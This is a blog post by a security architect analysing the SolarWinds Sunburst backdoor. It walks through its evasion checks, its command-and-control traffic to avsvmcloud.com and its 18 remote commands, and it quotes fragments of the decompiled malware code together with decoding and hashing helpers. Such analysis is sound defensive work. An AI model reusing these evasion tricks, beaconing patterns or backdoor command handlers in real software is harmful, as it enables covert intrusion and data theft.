Deep dive into SolarWinds Sunburst backdoor

Santosh Kumar
7 min readDec 21, 2020

In the past few days, SolarWinds Orion has been in the spotlight for all the wrong reasons. There have been quite a few postings on how to detect the malware (backdoor approach really), starting with DNS queries to version and hash of the affected DLL.

I thought I’d share some detailed understanding of the Malware itself. The rest of this article is primarily going to focus on details of the Malware, from a source code perspective. This is very much still ‘a work in progress’ but I’m keen in wanting to share my initial findings which others may also find interesting / intriguing.

The Malware itself is integrated into one specific DLL file SolarWinds.Orion.Core.BusinessLayer.dll. The actual backdoor code (not going to call malware) is under the inner class OrionImprovementBusinessLayer and it’s not awfully big however slightly complex when compared with the size, also the variables and method names are misleading, but of course, intentionally. In addition, all constants are compressed and base64 encoded — for example :

1. C07NSU0uUdBScCvKz1UIz8wzNooPLU4tckxOzi/NKwEA

2. SywrLstNzskvTdFLzs8FAA==

translates into

1. Select * From Win32_UserAccount

2. avsvmcloud.com

I’ve included the code to decode at the end of this article for reference.

The OrionImprovementBusinessLayer is instantiated as a thread in RefreshInternal() method in inventoryManager class. This method is invoked periodically, as such it’s a suitable place to bury a code like this — most of us would not look at this part of the code frequently

internal void RefreshInternal() {
if (log.get_IsDebugEnabled()) {
log.DebugFormat("Running scheduled background backgroundInventory check on engine {0}", (object) engineID);
}
try {
if (!OrionImprovementBusinessLayer.IsAlive) {
System.Threading.Thread thread = new System.Threading.Thread(OrionImprovementBusinessLayer.Initialize);
thread.set_IsBackground(true);
thread.Start();
}
}

Pre-flight checks

The Initialize method in OrionImprovementBusinessLayer handles various pre-flight checks, to name a few:

1. Verifies whether hash of the process name matches with the hardcoded hash 17291806236368054941uL (by the way not a standard hashing algorithm being used — I’ve added the hashing code snipped at the end of this article).

2. Adds a randomness in the behaviour by comparing GetLastWriteTime with a random number using min/max value of (288, 336);

3. NamedPipeServerStream is created for the AppID 583da945–62af-10e8–4902-a8f205c72b2e

4. Part of evading technique, it goes to sleep for 24 days or more

5. It now begins to gather a domain name of the system is running IPGlobalProperties.GetIPGlobalProperties().DomainName. If there is no valid domain name then it will lay dormant (it will be the case for most test systems).

6. Interestingly, if the domain name is valid then it compares against 13 domain hashes — if the domain name happen to be one of them then it won’t be allowed to continue. Further its matched against regex for any test and solarwinds in the domain name before its allowed to continue.

13 Domain Hashes:
1109067043404435916uL,
15267980678929160412uL,
8381292265993977266uL,
3796405623695665524uL,
8727477769544302060uL,
10734127004244879770uL,
11073283311104541690uL,
4030236413975199654uL,
7701683279824397773uL,
5132256620104998637uL,
5942282052525294911uL,
4578480846255629462uL,
16858955978146406642uL

7. Once domain names are matched, sleep is called again for some random period

8. As a next step, userID (or consumerId) creation takes places — this primarily involves:

a. Getting a mac address of the interface that is in UP state but not a loopback

b. It retrieves the GUID from the Registry (HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography) and appends to the userID

c. Finally, MD5 hash of the userID is created and stored as userID. To me this is the most surprising element of the code — it makes me wonder why MD5 is used?

9. Once userID hashing is done then again it goes to sleep

10. All running processes (Process.GetProcesses) are enumerated and verified with the preconfigured hash to make sure that there are no known processes which are running in the system. It comes with 137 pre-configured hashes.

Sending the request to Command and Control

Before it proceeds with the request preparation, IP address of api.solarwinds.com is resolved and is also verified against a pre-set of hardcoded IPs/Subnets:

10.0.0.0 / 255.0.0.0
172.16.0.0/ 255.240.0.0
192.168.0.0/ 255.255.0.0
224.0.0.0 / 240.0.0.0
fc00:: / fe00::
fec0::/ ffc0
ff00/ ff00
41.84.159.0/ 255.255.255.0
74.114.24.0/ 255.255.248.0
154.118.140.0 / 255.255.255.0
217.163.7.0 / 255.255.255.0
20.140.0.0 / 255.254.0.0
96.31.172.0 / 255.255.255.0
131.228.12.0 / 255.255.252.0
144.86.226.0 / 255.255.255.0
8.18.144.0 / 255.255.254.0
18.130.0.0 / 255.255.0.0
71.152.53.0 / 255.255.255.0
99.79.0.0 / 255.255.0.0
87.238.80.0 / 255.255.248.0
199.201.117.0 / 255.255.255.0
184.72.0.0 / 255.254.0.0

Before the actual request is sent out, DNS Query will be made against avsvmcloud.com to resolve IP address and more importantly each of those IP addresses can dictate different behaviour. For instance, if the DNS resolves into 87.238.80.X then the second thread (HttpWorker) will be created for handing request and responses from Command and Control. However, if it resolves into 10.0.0.0 then it will be a no-op. This is to make sure that the system is not been tested in some lab environment.

The first request that will be sent to avsvmcloud.com will be a HEAD request. It will contain header “If-None-Match” with userId (MD5 hash created at the beginning). There are two different types of user-agents which are in play “Microsoft-CryptoAPI” and is used for POST method and a file version of SolarWinds-OrionImprovement.exe is used for other request type excluding GET/PUT (which is set to null mostly). The content-type’s application/octet-stream and application/json are used primarily for all POST/PUT requests.

In addition, there is also randomness added to the request URI so that it’s not flagged.

return string.Format(ZipHelper.Unzip("K8jO1E8uytGvNqitNqytNqrVA/IA"), random.Next(100, 10000), array[random.Next(array.Length)], (text == null) ? "": ("-" + text));ulong hash = GetHash(baseUriImpl);
if (!UriTimeStamps.Contains(hash)) {
UriTimeStamps.Add(hash);
break;
}

Following are some of the items that gets added into the HEAD request

pki/crl/{0}{1}{2}.crl
SolarWinds
.CortexPlugin
.Orion
Wireless / UI
Widgets
NPM / Apollo
CloudMonitoring
Nodes / Volumes
Interfaces / Components
swip/upd/

Response handing

The response handling code is most certainly intriguing yet damaging as it can control pretty much the entire system using various commands. The backdoor provides 18 set of commands (with default being idle and its used when HttpWorker thread is spawned):

1. Idle

This is the default mode — JobEngine.Idle, it resets the counter to 0 in the for loop — as this will trigger HEAD request.

2. Exit

As the name suggests, it’s used for exiting the thread not killing the process though.

3. SetTime

This specific command has nothing to do with setting a time of the system but to induce a delay to go into a dormant state.

private bool IsSynchronized(bool idle) {
if (delay != 0 && idle) {
if (delayInc == 0) {
delayInc = delay;
}
public static void SetTime(string[] args, out int delay) {
delay = int.Parse(args[0]);
}

4. CollectSystemDescription

It collects various items like domain and host Name, Administrator security identifier (SID), username of the currently logged in user, OS Version, System directory and interestingly number of days since system last started.

string str = ((object) new NTAccount(domainName, ZipHelper.Unzip("c0zJzczLLC4pSizJLwIA")).Translate(typeof(SecurityIdentifier)).get_AccountDomainSid()).ToString();result = result + GetDescriptionId(ref i) + (int) TimeSpan.FromMilliseconds((uint) System.Environment.TickCount).TotalDays;

5. UploadSystemDescription

This will end up with HTTP request to an external URI. The HTTP method and other “unknown” payload is encoded as bas64. The “unknown” payload is sent as part of the outbound request as headers and date parameter.

6. RunTask

The new process is started with a given file name and arguments. As expected, CreateNoWindow and UseShellExecute set to false to avoid any user attention.

7. GetProcessByDescription

This command is used for getting a list of processes (Process.GetProcesses();) and also its used for collecting management objects based on a specified query — Select * From Win32_Process

8. KillTask

Specific process is killed Process.GetProcessById(int.Parse(args[0])).Kill();

9. GetFileSystemEntries

It’s used for searching specific files and directories.

10. WriteFile

It’s used for saving a file into a specific location. Once file is written, process goes into sleep mode. I suppose this is to wait for other processes to pick up the copied file or lay low to avoid any detection

11. FileExists

Specific file is checked for existence — File.Exists(path).ToString();

12. DeleteFile

Used for deleting a file — File.Delete(System.Environment.ExpandEnvironmentVariables(args[0]));

13. GetFileHash

This command reads the entire file and MD5 is calculated for input stream. The resulting MD5 is sent out. It’s the second time MD5 hashing is used in the code.

14. ReadRegistryValue

Given RegistryKey is read and value is returned — RegistryKey.OpenBaseKey(GetHive(key, out subKey), 256);

15. SetRegistryValue

It sets registry value for REG_EXPAND_SZ (written as byte[]), REG_LINK and REG_RESOURCE_REQUIREMENTS_LIST.

16. DeleteRegistryValue

Specific Registry key value is deleted

17. GetRegistrySubKeyAndValueNames

It returns subkey — OpenSubKey(subKey);

18. Reboot

Reboot of the system is initiated with SeShutdownPrivilege

string privilege = ZipHelper.Unzip("C04NzigtSckvzwsoyizLzElNTwUA");
if (!SetProcessPrivilege(privilege, newState: true, out previousState)) {
return result;
}
result = InitiateSystemShutdownEx(null, null, 0u, bForceAppsClosed: true, bRebootAfterShutdown: true, 2147745794u);
SetProcessPrivilege(privilege, previousState, out previousState);
return result;

Hashing code snippet

private static ulong GetHash(string s) {
ulong num = 14695981039346656037uL;
//1109 0670 4340 4435 916 uL
try {
byte[] bytes = Encoding.UTF8.GetBytes(s);
foreach(byte b in bytes) {
num ^= b;
num *= 1099511628211L;
}
}
catch {}
return num ^ 0x5BAC903BA7D81967;
}

Decompression / base64 snippet

public static String Decode(String s) {
//Console.WriteLine("Processing line " + s);
Byte[] bytes = Decompress(Convert.FromBase64String(s));
return Encoding.UTF8.GetString(bytes);
}public static byte[] Decompress(byte[] input) {
using(MemoryStream stream = new MemoryStream(input)) {
using(MemoryStream memoryStream = new MemoryStream()) {
using(DeflateStream deflateStream = new DeflateStream(stream, CompressionMode.Decompress)) {
deflateStream.CopyTo(memoryStream);
}
return memoryStream.ToArray();
}
}
}

Summary

There has been a massive amount of effort which has been put in on the pre-flight coding to make sure that a maximum chance is given to evade detection. Also, randomness has been the core design principle so that typical defence mechanism doesn’t work. However, there are few aspects that’s worth looking into further:

1. 13 domain hashes (as above) that are excluded — this can be a massive clue on the intention/motivation. Also, it’s possible to identify those 13 domain hashes via dict attack with a combination of hashing code.

2. 113 process list — these process lists are considered worthy defence by the designers.

3. Finally, I find MD5 usage quite strange as most part of the code did NOT use any standard hashing or encryption libraries except userID/ConsumerID generation and file input stream hash. In Federal setup, this should have never worked as MD5 (System.Security.Cryptography.MD5) would have been disabled. Also, if solarwinds were using any sort of SAST tools then it should have at least had a warning on MD5 usage.

I will try and write a follow up once I get more time to look into this further.

UPDATE: Those 13 hashes translates as below. The hashing is done using Fowler–Noll–Vo (FNV 64) and i’m sure the rest can be figured out from here :-) :

swdev.local / swdev.dmz / lab.local / lab.na / emea.sales / cork.lab / dev.local / dmz.local / pci.local / saas.swi / lab.rio / lab.brno / apac.lab

--

--

Santosh Kumar

Security Architect @some where over the rainbow. All publications are personal not related to my employment